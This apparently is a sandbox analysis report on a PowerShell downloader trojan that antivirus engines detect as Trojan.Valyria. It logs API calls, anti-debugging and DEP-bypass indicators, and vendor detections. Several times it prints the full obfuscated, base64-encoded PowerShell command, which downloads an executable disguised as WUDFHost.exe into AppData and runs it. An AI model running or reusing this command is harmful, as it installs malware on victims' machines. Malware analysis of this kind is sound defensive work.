ACAACQAJACAAIAAgACAACQAJACAANAA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAxACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMgAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAxACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAApACAACQAJAC0AbwBVAHQAZgBpAEwAZQAgACAAIAAgACAAIAAgACAAHSAkAEUATgBWADoAYQBQAFAARABhAFQAYQBcAFcAVQBEAEYASABvAHMAdAAuAGUAeABlAB0gIAAgAAkACQAJAAkAIAAJAAkACQAgACAAOwAgAHMAVABhAFIAVAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABlAG4AVgA6AEEAcABwAGQAYQBUAEEAXABXAFUARABGAEgAbwBzAHQALgBlAHgAZQAdIA==
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: C:\Windows\SYstEm32\wIndowsPOWERsHeLL\V1.0\pOWERSheLL.ExE
parameters: "POWErshELl -eX BYPasS -nOp -w hIDdEN -Ec IAAJAAkACQAJAAkACQAJAAkACQAJAAkAWwBuAGUAVAAuAFMARQBSAFYAaQBDAGUAcABPAEkATgB0AG0AQQBOAGEARwBlAFIAXQA6ADoAcwBFAEMAdQBSAGkAVABZAFAAcgBPAFQAbwBDAG8AbAAgAAkACQAgAAkACQAgACAAIAAgAAkACQAJACAAIAAgAD0AIAAJACAACQAgAAkACQAgAAkAIAAJACAACQAgAFsATgBlAHQALgBTAGUAYwBVAHIASQB0AFkAcAByAE8AVABPAEMATwBMAFQAWQBQAGUAXQA6ADoAVABsAHMAMQAyACAACQAJAAkACQAJAAkAOwAgAAkAIAAgAAkAIAAJAAkAIAB3AGcAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAWwBjAEgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAA0ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAGgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQAyACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUAOAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBIAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMASABhAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBIAGEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADEAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBIAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADUAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAEMASABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBoAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA4ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAEEAUgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAFIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUANAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAGEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADgAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAEMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAA1ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAzACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAGgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADkAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBIAGEAUgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA5ADkAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABhAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAxACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMgAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAxACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAApACAACQAJAC0AbwBVAHQAZgBpAEwAZQAgACAAIAAgACAAIAAgACAAHSAkAEUATgBWADoAYQBQAFAARABhAFQAYQBcAFcAVQBEAEYASABvAHMAdAAuAGUAeABlAB0gIAAgAAkACQAJAAkAIAAJAAkACQAgACAAOwAgAHMAVABhAFIAVAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABlAG4AVgA6AEEAcABwAGQAYQBUAEEAXABXAFUARABGAEgAbwBzAHQALgBlAHgAZQAdIA== "
filepath: C:\Windows\System32\wIndowsPOWERsHeLL\v1.0\pOWERSheLL.ExE
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x000007fffff80000
process_handle: 0xffffffffffffffff
1 0 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:792 CREDAT:145409
MicroWorld-eScan VB:Trojan.Valyria.8304
VIPRE VB:Trojan.Valyria.8304
Arcabit VB:Trojan.Valyria.D2070
Symantec ISB.Downloader!gen80
Avast Script:SNH-gen [Drp]
Kaspersky HEUR:Trojan.Script.Generic
BitDefender VB:Trojan.Valyria.8304
NANO-Antivirus Trojan.Script.Vbs-heuristic.druvzi
Emsisoft VB:Trojan.Valyria.8304 (B)
FireEye VB:Trojan.Valyria.8304
ZoneAlarm HEUR:Trojan.Script.Generic
GData VB:Trojan.Valyria.8304
ALYac VB:Trojan.Valyria.8304
Rising Downloader.Agent/PS!8.1250D (TOPIS:E0:Yf0HoGX0oaL)
MAX malware (ai score=80)
AVG Script:SNH-gen [Drp]
parent_process powershell.exe martian_process C:\Users\test22\AppData\Roaming\WUDFHost.exe
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX BYPasS -nOp -w hIDdEN -Ec IAAJAAkACQAJAAkACQAJAAkACQAJAAkAWwBuAGUAVAAuAFMARQBSAFYAaQBDAGUAcABPAEkATgB0AG0AQQBOAGEARwBlAFIAXQA6ADoAcwBFAEMAdQBSAGkAVABZAFAAcgBPAFQAbwBDAG8AbAAgAAkACQAgAAkACQAgACAAIAAgAAkACQAJACAAIAAgAD0AIAAJACAACQAgAAkACQAgAAkAIAAJACAACQAgAFsATgBlAHQALgBTAGUAYwBVAHIASQB0AFkAcAByAE8AVABPAEMATwBMAFQAWQBQAGUAXQA6ADoAVABsAHMAMQAyACAACQAJAAkACQAJAAkAOwAgAAkAIAAgAAkAIAAJAAkAIAB3AGcAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAWwBjAEgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAA0ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAGgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQAyACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUAOAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBIAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMASABhAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBIAGEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADEAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBIAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADUAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAEMASABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBoAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA4ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAEEAUgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAFIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUANAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAGEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADgAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAEMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAA1ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAzACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAGgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADkAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBIAGEAUgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA5ADkAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABhAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAAxACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMgAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAA